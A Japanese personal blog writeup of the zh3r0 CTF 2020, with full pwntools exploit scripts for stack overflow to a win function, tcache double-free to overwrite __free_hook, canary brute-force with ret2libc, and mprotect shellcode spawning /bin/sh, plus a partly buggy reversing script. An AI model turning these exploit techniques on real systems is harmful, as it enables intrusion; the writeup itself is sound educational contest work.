newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 30.0】zh3r0 CTF 2020 - writeup

 

 

 

 

 

7: イントロ

最近レポートに殺されていた(同時にレポートを殺していた)ためCTFに参加できていなかったが

夜11時にふと思い立って適当に今建っている野良CTFに参加することにした

参加したのは zh3r0 CTF 2020 (インドのCTF?)

やっぱ一人だと詰まったところで悶々として壁を殴るしかできないため、殴る用の壁を買おうと思う

 

 

 

921:  Snakes Everywhere (rev)

pwnが3問しか出ていない時に消化不良だったため解いたRev問

状況

pythonのディスアセンブルコード(もとのコードは本物のFlagを暗号化してる)と暗号化されたデータファイルが渡されている

解法

普通にpythonのディスアセンブルコードを読んで、それと逆のことをするプログラムを書いて暗号化データをデコードすればいい

exploit
def xor(str1,str2):
    return chr(ord(str1) ^ ord(str2))

flag = ""
len_flag = 38
key = "I_l0v3_r3v3r51ng"

with open("./snake.txt","rb") as f:
    cipher = f.read()


for i in range(len_flag+63,63+len(key)//2,-1):
    flag += xor(chr(cipher[i]),key[i%16])

for i in range(len_flag//3*2+63,63+len_flag//3-1):
    flag += chr(cipher[i] // ord(key[i%len(key)] + i))
    print("*")

print(flag)

'''
# original code
def xor(str1,str2):
    return chr(ord(str1) ^ ord(str2))


# file length == 38(0x26)
flag = "zh3r0{fake flag}"
key = "I_l0v3r3v3r51ng"

if len(flag) == 38:
    print("ERROR")
    exit()

ciphertext = ""

for i in range(len(flag)//3):
    ciphertext += chr(ord(flag[i])*ord(key[i]))

for i in range(len(flag)//3,len(flag)//3*2):
    ciphertext += chr(ord(flag[i]) * ord(key[i%len(key)] + i)

for i in range((len(key)//2,len(flag)):
    ciphertext += xor(key[i%16],flag[i])

'''

 未完成なまま動かしたら殆どデコードできたから後は脳内補完した

zh3r0{python_disass3mbly_is v3ry_E4sy}

 

 

1: FreeFlag

状況

win()関数あり、StackOverflowあり。指を動かすカロリーのみが必要

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("us.pwn.zh3r0.ml","localhost","localhost")
ports = (3456,12900,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

win = 0x400707

def hoge():
    pass

## exploit ###########################################

def exploit():
  global c

  c.recvuntil("name: ")
  raw_input("OK")
  c.send("A"*0x28+p64(win+1))


## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 zh3r0{welcome_to_zh3r0_ctf}

 

46: Command 1

状況

バイナリ読んでないからわからん

exploit

Add: hoge

Edit: 0->sh

Run: 0

これでflagが取れる。残念な非想定解が存在した問題(レビュー時に気づかないのがちょっと不思議)

 

zh3r0{the_intended_sol_useoverflow_change_nextpointer_toFakechunk_in_bssname}

一瞬flagで笑わせに来てるのかと思った

想定解をflagに入れると、非想定解があったときにクソださくなるからやめようと思った

 

-32: Help

状況
./chall2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8706cc0104f816cb54565b44b7bcbb07bda87ac8, not stripped
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 

冗長すぎるバイナリが配布される。これは何か妙技があるのかと思ったら、ただ冗長だった

.bssの指定の場所に一度のみ自由に書き込みできる

18byte stack overflowがある

 解法

まずはlibcbaseをleakする

 pop rdi gadgetを用いてgot[setvbuf]をrdiに積んだ後、main関数中のcall putsの直前に飛ぶようにROPする

puts()でlibc leakをしたあとも普通に2回目のmain関数は続きread()をする

2回目のmainにreturnする際にRSPは2回目のreadでgot[setvbuf]+0x20に対してreadをすることになるから、前述のROPの際FBPの場所に.bssセクションのアドレスを上書きし、.bssにはgot[setvbuf]+0x20のアドレスを書き込んでおき、onegadgetでGOT overwrite

最後に2回目のreturnをするところで、.bssに仕込んでおいたplt[setvbuf]にreturnして終了

exploit
censored

zh3r0{thanks_somuch_for_helping_my_friend____btw_please_DM_me_what_solution_did_you_use}

 

73.91: Command2

状況

double freeできるのでtcache poisoningして終わり

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = "./libc.so.6"

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (7530,12900,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################


def hoge(ix):
    global c
    c.recvuntil("> ")
    c.sendline(str(ix))

def _add(command,size,description):
    global c
    hoge(1)
    c.recvline()
    c.recvuntil("> ")
    print("********::")
    c.send(command)
    c.recvline()
    c.send(str(size))
    c.recvline()
    c.send(description)

def _run(command,ix):
    hoge(2)

def _del(ix):
    hoge(4)
    c.recvuntil("index: ")
    c.sendline(str(ix))

def _show(ix):
    hoge(5)
    c.recvuntil("index")
    c.sendline(str(ix))

## exploit ###########################################

def exploit():
  global c

  _add("A"*0x18,0x600,"B"*0x600)
  _add("C"*0x18,0x38,"D"*0x38)
  print("[+] created two command")
  print("sleeping...")
  sleep(2)
  _show(1)
  print("[+] showed")
  c.recvuntil("C"*0x18)
  heapbase = unpack(c.recvline().rstrip()[:-1].ljust(8,'\x00')) - 0x950-0x1f0+0x200+0x70
  print("heap: "+hex(heapbase))
  c.recvline()

  _add(p64(0x41)*3,0x38,"F"*0x38)
  _del(1)
  _del(1)
  _del(0)

  #_add(p64(1)+"\n",0x38,p64(heapbase+0x50))
  _add(p64(heapbase+0x260)+"\n",0x58,"E"*0x8)
  _show(3)
  c.recvuntil("E"*0x8)
  libcbase = unpack(c.recv(6).ljust(8,'\x00')) - 0x3ec110
  print("libcbase: "+hex(libcbase))


  ogs = [0x4f2c5,0x4f322,0x10a38c]

  _add("E"*0x18,0x38,p64(libcbase+libc.symbols["__free_hook"]))
  _add("/bin/sh;\n",0x38,"E"*8)
  _add("/bin/sh;\n",0x38,p64(libcbase+libc.symbols["system"]))

  hoge(4)
  c.recvuntil("index: ")
  c.sendline(str(5))

## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

zh3r0{don't_let_heap_pwn_killed_dmmeyoursol}

 

 

1.3e+9: Blind

状況

バイナリが与えられていないblind pwn

blind pwnと言えばFSAでelfbase求めてなんたらみたいなのが多い気がしているが、本問ではlibcbase(みたいなもの。そうとは言われてない)が最初から与えられている

一度だけ入力を求められ、大量に入力すると以下のようになる

f:id:smallkirby:20200617235606p:plain

Core dumpedとは表示されているが明らかに本物のコアダンプではないため、自前のカナリアを飼っているものと考えられる

解法

ここらでTSGのsandboxで愚痴を言っていたところ

卍うにしいず卍さんがささっとカナリアを求めてくれたため、それを使ってret2libcで終了

(頭がついていなかったため 256^8 回のbrute-forceが必要かと思ってしまっていたが 256*8 回で良かった)

(coredumpが0x24以上からであり、8byte alignされていないの気持ち悪いなと思っていたら、カナリアのあとに0x4byte埋める必要があった)

exploit
#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = ""
LIBCNAME = "../help/libc.so.6"

hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (3248,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
#binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################

def hoge():
  pass

## exploit ###########################################

def exploit(canary,num):
  global c

  with open("test.txt","w") as f:
      f.write("A"*0x20000)

  ogs = [0x4f2c5,0x4f322,0x10a38c]
  tro = "🏆"
  medal = "🥇"

  c.recvuntil("->")
  c.sendline("yes")
  #c.send("yes"+"A"*0x10)
  c.recvuntil("->")
  c.sendline("yes")

  c.recvuntil("-> ")
  libcbase = int(c.recvline().rstrip(),16)
  #print("libcbase: "+hex(libcbase))

  c.recvuntil("->")
  c.send(medal*0x24 + canary + p8(num))

  if "Core" in c.recv(4):
    return False
  else:
    return True

def exploit2():
  global c

  with open("test.txt","w") as f:
      f.write("A"*0x20000)

  ogs = [0x4f2c5,0x4f322,0x10a38c]
  tro = "🏆"
  medal = "🥇"

  c.recvuntil("->")
  c.sendline("yes")
  #c.send("yes"+"A"*0x10)
  c.recvuntil("->")
  c.sendline("yes")

  c.recvuntil("-> ")
  libcbase = int(c.recvline().rstrip(),16)

  c.recvuntil("->")
  canary = '\xc1\x16\x8b\x99\x91\x9b\x1a\x31'
  c.send(tro*(0x24//4) + canary + "A"*4 + p64(libcbase+ogs[2])*0x2)
  return


## main ##############################################

if __name__ == "__main__":
    global c
    canary = ""

    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
      elif sys.argv[1][0]=="j":
        c = remote(rhp1["host"],rhp1["port"])
        exploit2()
        c.interactive()
    else:
        c = remote(rhp2['host'],rhp2['port'])

 

zh3r0{Be_awareof_static_stack_cookie_}

-3.141592: \x32\x64

唯一長時間かけた問題

 

なんか途中で32bit modeになってスタックポインタがイカれるため

mprotect()で.bssセクションをexecutableにして

そこにpushを使わないシェルコードをぶち込んでおくという問題

 

但し一番焦ったのはflagを提出した気になって提出をしていなかったこと

しかもtmpディレクトリで作業していたため、解き終わった後にexploitを消してしまうという失態を犯した。まぁ上位を狙ってるわけでもないしflagを通さなくてもいいやということで放置した

 

 

 

 

 #!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./chall"
LIBCNAME = ""

#hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
hosts = ("asia.pwn.zh3r0.ml","localhost","localhost")
ports = (9653,12300,23947)
rhp1 = {'host':hosts[0],'port':ports[0]}    #for actual server
rhp2 = {'host':hosts[1],'port':ports[1]}    #for localhost 
rhp3 = {'host':hosts[2],'port':ports[2]}    #for localhost running on docker
context(os='linux',arch='amd64')
binf = ELF(FILENAME)
libc = ELF(LIBCNAME) if LIBCNAME!="" else None


## utilities #########################################


def hoge():
    pass

## exploit ###########################################

def exploit():
  global c
  addr_main = 0x400130
  addr_bss = 0x600000

  c.recvuntil("name: ")
  # mprotect(addr_bss,0x1000,7)でbssをexecutableにする
  # rdiにはreadの返り値として0x7dを入れて0x4000e8でraxにmov
  c.send(p64(addr_bss)+p64(0x7)+p64(addr_bss)+p64(0xff)+p64(0)+p32(0x4000e8))
  c.recvuntil(": ")
  # executableにした後でexecve("/bin/sh")
  shellcode = asm("mov eax,0xb")
  shellcode += asm("mov ebx,{}".format(hex(addr_bss+0x4)))
  shellcode += asm("mov ecx,0")
  shellcode += asm("mov edx,0")
  shellcode += asm("int 0x80")
  pay = p32(addr_bss+0xc)+"/bin/sh\x00"+shellcode
  pay += "\xc9"*(0x7d-len(pay))
  c.send(pay)



## main ##############################################

if __name__ == "__main__":
    global c
    
    if len(sys.argv)>1:
      if sys.argv[1][0]=="d":
        cmd = """
          set follow-fork-mode parent
        """
        c = gdb.debug(FILENAME,cmd)
      elif sys.argv[1][0]=="r":
        c = remote(rhp1["host"],rhp1["port"])
      elif sys.argv[1][0]=="v":
        c = remote(rhp3["host"],rhp3["port"])
    else:
        c = remote(rhp2['host'],rhp2['port'])
    exploit()
    c.interactive()

 

zh3r0{is_it_32bit_or_64bit} 

 

9: armpw

ARM問っぽかったのでバイナリを見ることさえしませんでした。完

 

 

92: アウトロ

見出しのところの見出し番号、別に自然数順にする必要ないなぁと思って小数負数ありの適当な順番で組んでみたんですが、やっぱ見にくいですね

数字は整列した整数に限ります

 

 

自宅にGが出たら発狂するくらい嫌なのに

他人の家に出たら何であんなにテンション上がるんだろうなぁ

 

 

 

 

 

 

 

続く............